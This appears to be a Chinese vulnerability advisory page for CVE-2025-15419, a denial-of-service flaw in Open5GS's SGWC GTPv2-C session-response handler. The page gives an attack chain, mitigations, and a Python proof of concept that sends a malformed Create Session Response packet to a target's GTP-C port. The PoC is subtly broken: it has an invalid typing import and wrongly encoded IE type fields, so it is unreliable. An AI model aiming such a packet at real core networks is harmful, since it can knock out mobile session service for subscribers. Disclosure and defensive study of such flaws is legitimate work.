IPBUF安全漏洞报告
English
CVE-2025-15419 CVSS 3.3 低危

CVE-2025-15419 Open5GS GTPv2-C Flow Handler拒绝服务漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2025-15419
漏洞类型
拒绝服务
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务Open5GSGTPv2-C5G核心网本地攻击SGWCS5C接口CVE-2025-15419

漏洞概述

CVE-2025-15419是Open5GS项目中存在的一个拒绝服务(DoS)漏洞。Open5GS是一个开源的5G核心网实现软件,广泛应用于5G网络研究和部署。该漏洞位于GTPv2-C(GPRS Tunneling Protocol v2-Control)流量处理组件中,具体影响src/sgwc/s5c-handler.c文件中的sgwc_s5c_handle_create_session_response函数。攻击者通过构造恶意的GTPv2-C会话响应消息,可以在本地触发该函数处理异常,导致服务中断或崩溃。由于该漏洞的利用代码已公开,且CVSS评分较低(3.3),对系统可用性造成一定影响,建议相关用户及时应用官方提供的安全补丁进行修复。

技术细节

该漏洞发生在Open5GS的SGWC(Serving Gateway Control)模块的S5C接口处理流程中。当SGWC接收到来自PGW的Create Session Response消息时,会调用sgwc_s5c_handle_create_session_response函数进行处理。在特定条件下,函数未能正确验证或处理异常的会话响应数据,导致内存处理错误或断言失败,最终引发进程崩溃。由于攻击向量为本地(AV:L)且需要低权限(PR:L),攻击者需要在具有本地访问权限的条件下构造并发送精心设计的GTPv2-C数据包。GTPv2-C协议是3GPP标准定义的控制平面协议,用于在4G/5G核心网中建立和管理会话。该漏洞的修复补丁为commit 5aaa09907e7b9e0a326265a5f08d56f54280b5f2,主要在会话响应处理流程中添加了适当的边界检查和错误处理逻辑。

攻击链分析

STEP 1
步骤1
攻击者获取Open5GS系统的本地访问权限,具备低权限用户环境
STEP 2
步骤2
攻击者分析Open5GS的GTPv2-C协议实现,定位到sgwc_s5c_handle_create_session_response函数
STEP 3
步骤3
攻击者构造恶意的Create Session Response消息,包含畸形的F-TEID IE或异常的会话状态数据
STEP 4
步骤4
通过本地网络接口向Open5GS SGWC模块发送精心构造的GTPv2-C数据包
STEP 5
步骤5
sgwc_s5c_handle_create_session_response函数在处理异常响应时触发内存错误或断言失败
STEP 6
步骤6
Open5GS SGWC进程崩溃或进入异常状态,导致5G核心网会话管理功能中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-15419 PoC - Open5GS GTPv2-C DoS Note: This is a conceptual PoC for educational purposes only. Actual exploitation requires GTPv2-C protocol knowledge and Open5GS internals. """ import socket import struct from typing import bytes def build_gtpv2c_create_session_response(teid: int, sequence: int) -> bytes: """ Build a malicious GTPv2-C Create Session Response message that triggers the vulnerability in sgwc_s5c_handle_create_session_response """ # GTPv2-C Header version = 0x2 << 5 # Version 2 flags = 0x30 # TEID present, no piggybacking message_type = 0x36 # Create Session Response # Message header header = bytearray([ version | flags, message_type, 0x00, 0x00, # Length (to be filled) (teid >> 24) & 0xFF, (teid >> 16) & 0xFF, (teid >> 8) & 0xFF, teid & 0xFF, (sequence >> 16) & 0xFF, (sequence >> 8) & 0xFF, sequence & 0xFF, 0xFF # spare ]) # IE: Cause (mandatory) cause_ie = bytearray([ 0x02, 0x00, # IE Type: Cause 0x00, 0x06, # Length 0x00, # Spare + T (triggering message) 0x10, # Cause: Request accepted 0x00, 0x00 # Spare ]) # IE: F-TEID (with crafted data to trigger vulnerability) fteid_ie = bytearray([ 0x00, 0x01, # IE Type: F-TEID 0x00, 0x0A, # Length 0x80, # Flags 0x00, 0x00, 0x00, 0x01, # TEID 0x00, # IPv4 address (incomplete) 0x00, 0x00 # Interface type ]) payload = cause_ie + fteid_ie # Update length in header (header without first 4 bytes) length = len(payload) header[2] = (length >> 8) & 0xFF header[3] = length & 0xFF return bytes(header) + bytes(payload) def send_malicious_packet(target_ip: str, target_port: int, teid: int): """ Send malicious GTPv2-C packet to trigger DoS """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sequence = 0x123456 packet = build_gtpv2c_create_session_response(teid, sequence) try: sock.sendto(packet, (target_ip, target_port)) print(f"[+] Malicious packet sent to {target_ip}:{target_port}") print(f"[+] TEID: {hex(teid)}, Sequence: {hex(sequence)}") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <teid>") sys.exit(1) target_ip = sys.argv[1] teid = int(sys.argv[2], 0) target_port = 2123 # Default GTPv2-C control plane port send_malicious_packet(target_ip, target_port, teid)

影响范围

Open5GS < 2.7.7

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制对Open5GS SGWC组件的网络访问,仅允许必要的PGW和MME设备通信;2)部署GTP协议深度检测设备,过滤异常的Create Session Response消息;3)监控Open5GS进程状态,设置自动告警机制以便及时发现服务异常;4)考虑在测试环境中验证漏洞影响范围,评估业务风险后再决定升级时机。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表